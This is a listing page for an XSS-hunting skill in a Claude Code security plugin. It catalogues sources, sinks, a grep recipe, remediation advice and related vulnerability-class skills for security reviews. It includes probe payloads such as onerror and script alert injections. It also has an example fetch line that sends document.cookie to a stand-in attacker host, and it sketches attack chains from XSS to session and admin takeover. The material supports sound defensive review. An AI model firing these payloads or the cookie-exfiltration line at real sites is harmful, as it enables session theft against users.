/indra:sh-kb-xssfrom Indra
Knowledge base for finding reflected, stored, and DOM-based XSS. Covers sources, sinks, detection recipes, payloads, and false-positive filters for security reviews.
Ships in Indra. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Untrusted input is rendered into a page such that the browser executes it as script. Impact runs in the victim's session/origin: session theft, action-on-behalf, credential capture, worming.
Request params/body/headers/cookies/URL fragment (location.hash/search), postMessage, stored values
(profile, comments), document.referrer, any DB/API value that was attacker-influenced.
| safe, {% autoescape false %}, Markup(; Django
mark_safe, |safe, format_html with unescaped args; ERB raw/html_safe; Handlebars {{{ }}};
Go template.HTML(/text/template; Thymeleaf th:utext.innerHTML, outerHTML, insertAdjacentHTML, document.write, eval, setTimeout(str),
Function(, element.setAttribute('href'|'src', userUrl), jQuery .html()/.append(userStr),
React dangerouslySetInnerHTML, Vue v-html, Angular bypassSecurityTrust*.<script> block, href="javascript:", style.graft grep "innerHTML|dangerouslySetInnerHTML|v-html|\| ?safe|mark_safe|html_safe|template.HTML|document.write|insertAdjacentHTML" --json.location/postMessage).<script>alert(1)</script>, "><img src=x onerror=alert(1)>, '-alert(1)-' (JS string context),
javascript:alert(1) (href), <svg onload=alert(1)>.#<img src=x onerror=alert(1)> in the fragment when location.hash flows to innerHTML.fetch('//attacker/c?'+document.cookie) shows session
theft - describe the impact rather than firing it at real users.{value}, Angular interpolation, Jinja/Django autoescape,
ERB default) with no raw sink -> safe. Only the raw sinks above bypass it.bleach.clean, OWASP Java Encoder) for the right context.CWE-79. OWASP A03:2021-Injection. Stored XSS in an authenticated app -> high; reflected needing a click -> medium/high; DOM XSS per reachability. Admin-context stored XSS -> critical.
Stored XSS -> steal admin session -> reach admin features -> RCE/config change; XSS + CSRF-token theft ->
full state change; XSS -> keylog credentials -> auth takeover.
Context-correct output encoding (prefer framework auto-escaping; avoid raw sinks); sanitize HTML with a
vetted library when rich text is required; avoid innerHTML-style DOM sinks (use textContent);
add a strong CSP as defense-in-depth; set HttpOnly on session cookies.
What SKILL.md sets; muted values are Claude Code's defaults
npx claudepluginhub dmdhrumilmistry/indra --plugin indra20 skills in this plugin
/indraindra - the entry point for application-security work. Dispatcher for the indra security harness. Use when the user asks for any application-security work - 'security review', 'audit this codebase', 'pentest', 'find vulnerabilities', 'check for SQLi/XSS/IDOR/SSRF', 'generate a security report/SARIF'. Interprets the request and routes it to the full sh-security-review pipeline, a single stage, or a single vulnerability-class knowledge base./sh-kb-access-controlKnowledge base for finding broken access control - IDOR/BOLA, missing function-level authorization, privilege escalation, and multi-tenant isolation failures. Use when hunting authorization issues or reviewing whether users can access resources/actions they shouldn't. CWE-284/285/639/862/863, OWASP A01:2021-Broken Access Control./sh-kb-authKnowledge base for finding authentication and session-management failures - weak login, broken JWT/session handling, password/reset flaws, MFA bypass, credential storage issues. Use when hunting authentication (not authorization - see sh-kb-access-control). CWE-287/384/613/620/640, OWASP A07:2021-Identification and Authentication Failures./sh-kb-cryptoKnowledge base for finding cryptographic failures - weak hashing/encryption, insecure randomness, hardcoded/static keys and IVs, ECB mode, missing integrity, and predictable tokens. Use when hunting crypto misuse. CWE-327/328/330/326/916, OWASP A02:2021-Cryptographic Failures./sh-kb-csrfKnowledge base for finding Cross-Site Request Forgery - state-changing requests that rely only on ambient credentials (cookies) with no anti-CSRF token or SameSite protection. Use when hunting CSRF. CWE-352, OWASP A01:2021-Broken Access Control./sh-kb-deserializationKnowledge base for finding insecure deserialization - untrusted data fed to object-deserialization APIs that can trigger RCE or object injection via gadget chains. Use when hunting deserialization issues. CWE-502, OWASP A08:2021-Software and Data Integrity Failures.Other plugins' skills for the same job